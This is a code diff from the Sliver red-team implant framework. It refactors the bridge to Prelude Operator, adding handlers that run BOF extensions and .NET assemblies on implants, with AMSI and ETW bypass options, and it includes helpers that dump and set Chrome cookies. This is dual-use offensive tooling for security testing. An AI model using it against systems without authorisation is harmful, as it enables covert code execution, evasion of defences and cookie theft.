// for i, cookie := range cookies {
// log.Printf("chrome cookie %d: %+v", i, cookie)
// }
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
return cookies, err
}
return cookies, nil
}
func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
var res string
setCookieTasks := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
// create cookie expiration
expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
// add cookies to chrome
for i := 0; i < len(cookies); i += 2 {
err := network.SetCookie(cookies[i], cookies[i+1]).
WithExpires(&expr).
WithDomain("localhost").
WithHTTPOnly(true).
Do(ctx)
if err != nil {
return err
}
}
return nil
}),
// navigate to site
// chromedp.Navigate(host),
// read the returned values
// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
ctx, _ := chromedp.NewContext(taskCtx)
if err := chromedp.Run(ctx, setCookieTasks); err != nil {
return "", err
}
return res, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
+9 -1
View File
@@ -1,4 +1,12 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
## BOF support
To execute BOF TTPs, use the custom `bof` executor:
```json
bof.[{"type": "int", "value": #{json.T1234.ProcessId}}]
```
-175
View File
@@ -1,175 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"io/ioutil"
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
coffLoaderName = "coff-loader"
loaderEntryPoint = "LoadAndRun"
bofEntryPoint = "go"
)
type bofArgs struct {
ArgType string `json:"type"`
Value interface{} `json:"value"`
}
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
if err != nil {
return
}
}
bofArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
}
case "string":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddString(v)
}
case "wstring":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddWString(v)
}
case "short":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddShort(uint16(v))
}
}
if err != nil {
return
}
}
extArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
parsedArgs, err := bofArgs.GetBuffer()
if err != nil {
return
}
err = extArgs.AddString(bofEntryPoint)
if err != nil {
return
}
err = extArgs.AddData(bof)
if err != nil {
return
}
err = extArgs.AddData(parsedArgs)
if err != nil {
return
}
extArgsBuffer, err := extArgs.GetBuffer()
if err != nil {
return
}
extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: coffLoaderName,
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(implant),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch implant.GetArch() {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
}
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: implant.GetOS(),
Init: "",
Request: MakeRequest(implant),
})
if err != nil {
return err
}
if resp.Response != nil && resp.Response.Err != "" {
return errors.New(resp.Response.Err)
}
return nil
}
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(implant),
})
if err != nil {
return false
}
for _, ext := range extList.Names {
if ext == coffLoaderName {
return true
}
}
return false
}
@@ -1,4 +1,4 @@
package prelude
package bridge
/*
Sliver Implant Framework
@@ -30,33 +30,36 @@ import (
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
delim = "\r\n"
)
type CommandRunner func(string, string, []byte, *OperatorImplantBridge, func(string, int, int)) (string, int, int)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
Implant implant.ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
PBeacon config.OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
Config config.AgentConfig
RunCommand CommandRunner
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
func NewImplantBridge(c *net.Conn, a implant.ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon config.OperatorBeacon, conf config.AgentConfig, callback func(string, func(*clientpb.BeaconTask)), runner CommandRunner) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
@@ -64,6 +67,7 @@ func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, p
Config: conf,
BeaconCallback: callback,
PBeacon: pbeacon,
RunCommand: runner,
recv: make(chan []byte),
send: make(chan []byte),
}
@@ -100,7 +104,7 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
var tempBeacon config.OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
@@ -111,7 +115,7 @@ func (a *OperatorImplantBridge) handleMessage(message string) {
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *config.OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
@@ -121,7 +125,7 @@ func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon)
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
implantBridge.RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
@@ -137,7 +141,7 @@ func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon)
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
response, status, pid := implantBridge.RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
@@ -167,7 +171,7 @@ func requestPayload(target string) ([]byte, error) {
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
Request: implant.MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
@@ -179,28 +183,3 @@ func (a *OperatorImplantBridge) refreshBeacon() {
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+53 -70
View File
@@ -24,66 +24,71 @@ import (
"fmt"
"strings"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/executor"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// Exxpected message looks like:
// Ls:
// {
// "Command": "ls",
// "Arguments": {
// "Path": "/"
// }
// "Output": "json"
// }
// Extension (BOF):
// {
// "Command": "run-extension",
// "Arguments": {
// "Name": "sa-cacls",
// "Arguments": [{"type":"wstring","value":"/"}]
// }
// }
// Extension (shared lib):
// {
// "Command": "run-extension",
// "Arguments": {
// "Name": "proc-dump",
// "Arguments": ["4343"]
// }
// }
type sliverExecutorMessage struct {
Command string
Output string // "text" or "json", default is "text"
Arguments interface{}
}
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *bridge.OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "bof":
if len(task) != 2 {
break
}
var bargs []bofArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "exit":
return shutdown(agentSession)
default:
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
case "sliver":
sliverMsg := &sliverExecutorMessage{}
err := json.Unmarshal([]byte(message), sliverMsg)
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), config.ErrorExitStatus, config.ErrorExitStatus
}
return runSliverExecutor(sliverMsg, payload, agentSession, onFinish)
default:
bites, status, pid := execute(message, executor, agentSession, onFinish)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
func runSliverExecutor(msg *sliverExecutorMessage, payload []byte, impBridge *bridge.OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
handler := executor.GetHandler(msg.Command)
if handler != nil {
return handler(msg.Arguments, payload, impBridge, onFinish, msg.Output)
}
return "Unknown command", config.ErrorExitStatus, config.ErrorExitStatus
}
func execute(cmd string, executor string, implantBridge *bridge.OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
@@ -96,7 +101,7 @@ func execute(cmd string, executor string, implantBridge *OperatorImplantBridge,
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(implantBridge.Implant),
Request: implant.MakeRequest(implantBridge.Implant),
})
if err != nil {
@@ -117,7 +122,7 @@ func execute(cmd string, executor string, implantBridge *OperatorImplantBridge,
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
return execResp.Response.Err, config.SuccessExitStatus, config.SuccessExitStatus
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
@@ -136,25 +141,3 @@ func getCmdArg(executor string) []string {
}
return args
}
func splitMessage(message string, splitRune rune) []string {
quoted := false
values := strings.FieldsFunc(message, func(r rune) bool {
if r == '"' {
quoted = !quoted
}
return !quoted && r == splitRune
})
return values
}
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Implant),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
}
@@ -1,4 +1,4 @@
package prelude
package config
/*
Sliver Implant Framework
-68
View File
@@ -1,68 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
+106
View File
@@ -0,0 +1,106 @@
package executor
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
Runtime string `json:"runtime"`
InProcess bool `json:"inProcess"`
PPid int32 `json:"ppid"`
ProcessArgs string `json:"processArgs"`
EtwBypass bool `json:"etwBypass"`
AmsiBypass bool `json:"amsiBypass"`
}
func executeAssemblyHandler(arguments interface{}, payload []byte, impBridge *bridge.OperatorImplantBridge, cb func(string, int, int), outputFormat string) (string, int, int) {
argsByte, err := json.Marshal(arguments)
if err != nil {
return sendError(err)
}
asmArgs := execasmArgs{}
err = json.Unmarshal(argsByte, &asmArgs)
if err != nil {
return sendError(err)
}
extResp, err := impBridge.RPC.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: implant.MakeRequest(impBridge.Implant),
IsDLL: asmArgs.IsDLL,
Process: asmArgs.Process,
Arguments: asmArgs.Arguments,
Assembly: payload,
Arch: asmArgs.Architecture,
Method: asmArgs.Method,
ClassName: asmArgs.Class,
AppDomain: asmArgs.AppDomain,
AmsiBypass: asmArgs.AmsiBypass,
EtwBypass: asmArgs.EtwBypass,
Runtime: asmArgs.Runtime,
InProcess: asmArgs.InProcess,
PPid: uint32(asmArgs.PPid),
})
if err != nil {
return sendError(err)
}
// Async callback
if extResp.Response != nil && extResp.Response.Async {
impBridge.BeaconCallback(extResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err := proto.Unmarshal(task.Response, extResp)
if err != nil {
cb(sendError(err))
return
}
cb(handleExecAsmOutput(extResp, int(impBridge.Implant.GetPID()), outputFormat))
})
return "", config.SuccessExitStatus, int(impBridge.Implant.GetPID())
}
// Sync response
if extResp.Response != nil && extResp.Response.Err != "" {
return sendError(errors.New(extResp.Response.Err))
}
return handleExecAsmOutput(extResp, int(asmArgs.PPid), outputFormat)
}
func handleExecAsmOutput(asmResp *sliverpb.ExecuteAssembly, pid int, format string) (string, int, int) {
if format == "json" {
return JSONFormatter(asmResp, pid)
}
return string(asmResp.Output), config.SuccessExitStatus, pid
}
+48
View File
@@ -0,0 +1,48 @@
package executor
import (
"encoding/json"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"google.golang.org/protobuf/proto"
)
type Formatter func(msg proto.Message, pid int) (string, int, int)
type handler func(interface{}, []byte, *bridge.OperatorImplantBridge, func(string, int, int), string) (string, int, int)
// TODO: populate
var handlers = map[string]handler{
"ls": LsHandler,
"download": nil,
"upload": nil,
"execute-assembly": executeAssemblyHandler,
"execute-shellcode": nil,
"sideload": nil,
"spawndll": nil,
"run-extension": runExtension,
}
func GetHandlers() map[string]handler {
return handlers
}
func GetHandler(name string) handler {
h, ok := handlers[name]
if ok {
return h
}
return nil
}
func JSONFormatter(msg proto.Message, pid int) (string, int, int) {
out, err := json.Marshal(msg)
if err != nil {
return "", config.ErrorExitStatus, config.ErrorExitStatus
}
return string(out), config.SuccessExitStatus, pid
}
func sendError(err error) (string, int, int) {
return err.Error(), config.ErrorExitStatus, config.ErrorExitStatus
}
+228
View File
@@ -0,0 +1,228 @@
package executor
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"os"
"strings"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
type extensionMessage struct {
Name string `json:"Name"`
Arguments []interface{} `json:"Arguments"`
}
type bofArg struct {
ArgType string `json:"type"`
Value interface{} `json:"value"`
}
func runExtension(message interface{}, _ []byte, impBridge *bridge.OperatorImplantBridge, cb func(string, int, int), outputFormat string) (string, int, int) {
var (
msg extensionMessage
extName string
export string
extArgs []byte
)
extArgsInt, ok := message.(map[string](interface{}))["Arguments"].([]interface{})
if !ok {
return sendError(errors.New("missing extension arguments"))
}
extensionName, ok := message.(map[string](interface{}))["Name"].(string)
if !ok {
return sendError(errors.New("missing extension name"))
}
msg = extensionMessage{
Name: extensionName,
Arguments: extArgsInt,
}
ext, err := extensions.GetLoadedExtension(msg.Name)
if err != nil {
return sendError(err)
}
// Load extension into implant
loadExtRequest := implant.MakeRequest(impBridge.Implant)
if loadExtRequest == nil {
return sendError(errors.New("could not create RPC request"))
}
err = extensions.LoadExtension(impBridge.Implant.GetOS(), impBridge.Implant.GetArch(), true, ext, loadExtRequest, impBridge.RPC)
if err != nil {
return sendError(err)
}
// Determine whether the extensions has dependencies (BOF),
// if so, get dependency name and extension file
if ext.DependsOn != "" {
depExt, err := extensions.GetLoadedExtension(ext.DependsOn)
if err != nil {
return sendError(err)
}
extName = depExt.CommandName
export = depExt.Entrypoint
} else {
extName = ext.CommandName
export = ext.Entrypoint
}
// Build the arguments param (depending if BOF or not)
extFilePath, err := ext.GetFileForTarget(ext.CommandName, impBridge.Implant.GetOS(), impBridge.Implant.GetArch())
if err != nil {
return sendError(err)
}
if strings.HasSuffix(extFilePath, ".o") {
// We have a BOF
extData, err := os.ReadFile(extFilePath)
if err != nil {
return sendError(err)
}
extArgs, err = parseBOFArgs(extData, ext, msg.Arguments)
if err != nil {
return sendError(err)
}
} else {
// We have a regular extension
var extArgStr []string
for _, arg := range msg.Arguments {
converted, ok := arg.(string)
if !ok {
return sendError(errors.New("arguments must be strings"))
}
extArgStr = append(extArgStr, converted)
}
extArgsLst := []byte(strings.Join(extArgStr, " "))
extArgs = []byte(extArgsLst)
}
// Call extension
callResp, err := impBridge.RPC.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
ServerStore: true,
Export: export,
Request: implant.MakeRequest(impBridge.Implant),
Args: extArgs,
})
if err != nil {
return sendError(err)
}
if callResp.Response != nil && callResp.Response.Async {
impBridge.BeaconCallback(callResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err := proto.Unmarshal(task.Response, callResp)
if err != nil {
cb(sendError(err))
return
}
cb(handleExtensionOutput(callResp, int(impBridge.Implant.GetPID()), outputFormat))
})
return "", config.SuccessExitStatus, int(impBridge.Implant.GetPID())
}
if callResp.Response != nil && callResp.Response.Err != "" {
return sendError(errors.New(callResp.Response.Err))
}
return handleExtensionOutput(callResp, int(impBridge.Implant.GetPID()), outputFormat)
}
func parseBOFArgs(extData []byte, extManifest *extensions.ExtensionManifest, args []interface{}) ([]byte, error) {
var (
err error
bArgs []bofArg
)
for _, arg := range args {
kv, ok := arg.(map[string]interface{})
if !ok {
return nil, fmt.Errorf("invalid argument: %v", arg)
}
bArgs = append(bArgs, bofArg{
ArgType: kv["type"].(string),
Value: kv["value"],
})
}
bofArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
for _, a := range bArgs {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
}
case "string":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddString(v)
}
case "wstring":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddWString(v)
}
case "short":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddShort(uint16(v))
}
}
if err != nil {
return nil, nil
}
}
extArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
parsedArgs, err := bofArgs.GetBuffer()
if err != nil {
return nil, err
}
err = extArgs.AddString(extManifest.Entrypoint)
if err != nil {
return nil, err
}
err = extArgs.AddData(extData)
if err != nil {
return nil, err
}
err = extArgs.AddData(parsedArgs)
if err != nil {
return nil, err
}
return extArgs.GetBuffer()
}
func handleExtensionOutput(callExt *sliverpb.CallExtension, pid int, format string) (string, int, int) {
if format == "json" {
return JSONFormatter(callExt, pid)
}
return string(callExt.Output), config.SuccessExitStatus, pid
}
+107
View File
@@ -0,0 +1,107 @@
package executor
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
)
func LsHandler(arguments interface{}, _ []byte, impBridge *bridge.OperatorImplantBridge, cb func(string, int, int), outputFormat string) (string, int, int) {
path, ok := arguments.(map[string]interface{})["Path"].(string)
if !ok {
return sendError(errors.New("invalid path"))
}
lsResp, err := impBridge.RPC.Ls(context.Background(), &sliverpb.LsReq{
Path: path,
Request: implant.MakeRequest(impBridge.Implant),
})
if err != nil {
return sendError(err)
}
// Async callback
if lsResp.Response != nil && lsResp.Response.Async {
impBridge.BeaconCallback(lsResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err := proto.Unmarshal(task.Response, lsResp)
if err != nil {
cb(sendError(err))
return
}
cb(handleLsOutput(lsResp, int(impBridge.Implant.GetPID()), outputFormat))
})
return "", config.SuccessExitStatus, int(impBridge.Implant.GetPID())
}
// Sync response
if lsResp.Response != nil && lsResp.Response.Err != "" {
return sendError(errors.New(lsResp.Response.Err))
}
return handleLsOutput(lsResp, int(impBridge.Implant.GetPID()), outputFormat)
}
func handleLsOutput(lsResp *sliverpb.Ls, pid int, format string) (string, int, int) {
if format == "json" {
return JSONFormatter(lsResp, pid)
}
return string(PrintLs(lsResp)), config.SuccessExitStatus, pid
}
func PrintLs(ls *sliverpb.Ls) []byte {
out := strings.Builder{}
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
out.WriteString(fmt.Sprintf("%s\n", pathInfo))
out.WriteString(fmt.Sprintf("%s\n", strings.Repeat("=", len(pathInfo))))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
for _, fileInfo := range ls.Files {
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
out.WriteString(outputBuf.String())
return []byte(out.String())
}
+46
View File
@@ -0,0 +1,46 @@
package implant
import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
const defaultTimeout = 60
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+21 -25
View File
@@ -24,6 +24,9 @@ import (
"net"
"sync"
"github.com/bishopfox/sliver/client/prelude/bridge"
"github.com/bishopfox/sliver/client/prelude/config"
"github.com/bishopfox/sliver/client/prelude/implant"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
